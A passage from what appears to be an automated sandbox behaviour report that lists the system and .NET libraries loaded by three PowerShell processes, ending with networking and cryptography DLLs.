%WINDIR%\system32\shell32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002396) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00003724) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuration\a2571a4e32a586b52463d88a83702aed\System.Configuration.ni.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002752) "powershell.exe" called "LoadLibrary" with a parameter 